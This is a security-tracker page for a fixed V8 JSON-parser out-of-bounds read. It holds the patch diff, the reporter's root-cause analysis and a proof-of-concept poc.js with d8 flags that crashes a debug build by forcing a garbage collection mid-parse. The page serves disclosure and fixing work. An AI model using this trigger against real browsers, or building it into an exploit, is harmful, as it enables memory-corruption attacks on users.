Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in V8
DescriptionInappropriate implementation in V8
ComponentV8
Bug ClassLogic Error
Tracker469143679
Fix commitc30fe0dc4475 (v8/v8) +5/-0
CISA KEVNot listed
Credited303f06e3
Disclosed2026-01-13

Files Changed

  • src/json/json-parser.cc
From c30fe0dc4475926fd74ca20a9bfc510a658bc0e5 Mon Sep 17 00:00:00 2001
From: pthier <pthier@chromium.org>
Date: Thu, 18 Dec 2025 12:56:22 +0100
Subject: [PATCH] [json] Parser: Ensure descriptor array access is in bounds

A GC could shrink the descriptor array. Ensure that we early break the
loop on all paths to prevent reading beyond the limit.

Fixed: 469143679
Change-Id: I9ac5851ffd9454ad13302171d45349d3fb73786a
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7274717
Commit-Queue: Patrick Thier <pthier@chromium.org>
Reviewed-by: Igor Sheludko <ishell@chromium.org>
Cr-Commit-Position: refs/heads/main@{#104407}
---

diff --git a/src/json/json-parser.cc b/src/json/json-parser.cc
index 968b394..5bc2983 100644
--- a/src/json/json-parser.cc
+++ b/src/json/json-parser.cc
@@ -1653,6 +1653,11 @@
           if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false;
           continue;
         }
+        // Before accessing the descriptor array, make sure that it wasn't
+        // shrunk during a potential GC after the previous range check.
+        if (V8_UNLIKELY(idx.as_int() >= descriptors->number_of_descriptors())) {
+          break;
+        }
         // Check if the key is fast iterable.
         // Some of the checks below are not relevant for the parser, but are
         // requirements for fast iterable keys in general (e.g. for
Loading diff…

Original Bug Report

reported by hu...@gmail.com

JSON.parse(): Out-of-bounds access on DescriptorArray

VULNERABILITY DETAILS

This is an issue similar to issues/423459708, and the previous fix was incomplete. The problem also occurs in ParseJsonObjectProperties(), which is a method used to parse the keys and values of all fields in an object.

ParseJsonObjectProperties() has three implementation paths: kJsonSlow, kJsonFast, and kJsonUnknown. If an object of a certain Map is being serialized for the first time, it will enter the kJsonUnknown path.

template <typename Char>
template <DescriptorArray::FastIterableState fast_iterable_state>
bool JsonParser<Char>::ParseJsonObjectProperties(
    JsonContinuation* cont, MessageTemplate first_token_msg,
    Handle<DescriptorArray> descriptors) {
  using FastIterableState = DescriptorArray::FastIterableState;
  if constexpr (fast_iterable_state == FastIterableState::kJsonSlow) {
    ...
  } else {
    InternalIndex idx{0};
    do {
      EXPECT_NEXT_RETURN_ON_ERROR(JsonToken::STRING, first_token_msg, false);
      first_token_msg = MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName;
      bool key_match;
      if constexpr (fast_iterable_state == FastIterableState::kJsonFast) {
        ...
      } else {    // Unknown
        // Parse a string from json as the field name.
        JsonString key = ScanJsonPropertyKey(cont);
        ...

        Tagged<Name> property_name = descriptors->GetKey(idx);
        bool is_slow = key.has_escape();
        // Check that the property is enumerable and located in field.
        PropertyDetails details = descriptors->GetDetails(idx);
        if (V8_UNLIKELY(details.IsDontEnum() ||
                        details.location() != PropertyLocation::kField)) {
          is_slow = true;
        }
        // Symbol property keys are slow.
        if (V8_UNLIKELY(IsSymbol(property_name))) {
          is_slow = true;
        }

        // Check if the field name in the JSON matches the property name in the descriptor array.
        key_match = false;
        if (V8_LIKELY(!is_slow)) {
          DisallowGarbageCollection no_gc;
          // Property key is known to be fast so far, so it is guaranteed to
          // be a string.
          Tagged<String> expected_key = Cast<String>(property_name);
          Tagged<Map> key_map = expected_key->map();
          if (InstanceTypeChecker::IsTwoByteString(key_map)) {
            // Two-byte keys are slow.
            is_slow = true;
          } else {
            const uint8_t* expected_chars = GetFastKeyChars(isolate_, expected_key, key_map, no_gc);
            const uint32_t key_length = expected_key->length();
            key_match = FastKeyMatch(expected_chars, key_length, key);
          }
        }

        if (V8_UNLIKELY(is_slow)) {
          descriptors->set_fast_iterable(FastIterableState::kJsonSlow);
        }

       if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false;

        if (V8_UNLIKELY(is_slow || !key_match)) {
            ...
        }
        ++idx;
      }
    } while (idx < InternalIndex(descriptors->number_of_descriptors()) && Check<JsonToken::COMMA>());
    ...
  }

  return true;
}

The cause of the previous issue (issues/423459708) was:

  • Before entering the do-while loop, the function pre-saved descriptors->number_of_descriptors() into a variable descriptors_end.
  • When calling ParseJsonPropertyValue() to parse a field value, memory is allocated, which triggers a GC and causes the descriptors array to shrink.
  • Since idx < descriptors_end, the loop continues, leading to an OOB access when executing descriptors->GetDetails(idx).

This issue is similar. ScanJsonPropertyKey() is responsible for parsing a string from the JSON. However, when processing "B, because it is not a complete string, it enters ReportUnexpectedToken() to generate an error message and throw an exception. Note: GC is allowed when executing ReportUnexpectedToken(), so a GC can be triggered during the error message generation process, causing the descriptors to shrink.

template <typename Char>
JsonString JsonParser<Char>::ScanJsonString(bool needs_internalization) {
  DisallowGarbageCollection no_gc;
  ...

  while (true) {
    ...
    if (V8_UNLIKELY(is_at_end())) {
      AllowGarbageCollection allow_before_exception;
      ReportUnexpectedToken(JsonToken::ILLEGAL,
                            MessageTemplate::kJsonParseUnterminatedString);
      break;
    }
    ...
  }
  return JsonString();
}

Therefore, during the execution of the PoC, the ParseJsonArray() execution process is as follows:

First, the object corresponding to {"A": 0} is parsed, and MapA is obtained as feedback. Note: feedback->descriptors has two entries.

Then, ParseJsonValueRecursive(feedback) is called to parse the subsequent object, which will then call ParseJsonObjectProperties() to parse the two fields in {"A": 0,"B.

  1. After parsing the first field "A": 0, the do-while loop check is performed: idx=1, descriptors->number_of_descriptors()=2, so the loop continues.
  2. When parsing the second field “B:
    1. ScanJsonPropertyKey() is called to parse a string, which in turn calls ScanJsonString().
      1. Since "B is not a complete string object, ReportUnexpectedToken() is called to report an error.
      2. During the error reporting, memory is allocated, triggering a GC, which causes the descriptors to shrink.
      3. An empty string JsonString() is returned.
    2. The do-while loop does not handle the error from ScanJsonString() and continues to execute descriptors->GetKey(idx). At this point, descriptors has only one entry, while idx=1, leading to an out-of-bounds access.

I believe the root cause is the incomplete handling of ScanJsonPropertyKey() failure. If ScanJsonPropertyKey() returns an empty string, the loop should stop immediately.

The problematic code was introduced in commit 5fdab0114d1211e11bce1c74b40fc5e57b4942e6, which attempted to fix issues/423459708 but was unsuccessful.

REPRODUCTION CASE

poc.js:

// Incomplete JSON, JSON.parse() will throw an exception when handling `"B`
const jsonStr = `
[
    {
        "A": 0
    },
    {
        "A": 0,
        "B
`;

// prepare map transition: MapA --add-property(B)--> MapB
// MapA and MapB shared same descriptors
let o1 = {A: 0};    // own 1 entry
let o2 = {A: 0};    // own 2 entry
o2.B = 1;

// %DebugPrint(o1);

// clear reference, no objects use MapB, 
// so only one entry in MapA->descriptors is actually used, and it will shrink during GC.
o2 = null;

// trigger GC to shrink descriptors array in `ReportUnexpectedToken()`
%SetAllocationTimeout(-1, 5);

// trigger crash
try {
    JSON.parse(jsonStr);
} catch(e) {
}

V8 must be built with a debug configuration, Execute v8 as follows:

./d8 \
    --allow-natives-syntax \
    --predictable \
    --predictable-gc-schedule \
    ./poc.js

This will result in the following crash:

#
# Fatal error in ../../src/objects/descriptor-array-inl.h, line 231
# Debug check failed: descriptor_number.as_int() < number_of_descriptors() (1 vs. 1).
#

CREDIT INFORMATION

Reporter credit: [303f06e3]

View on issue tracker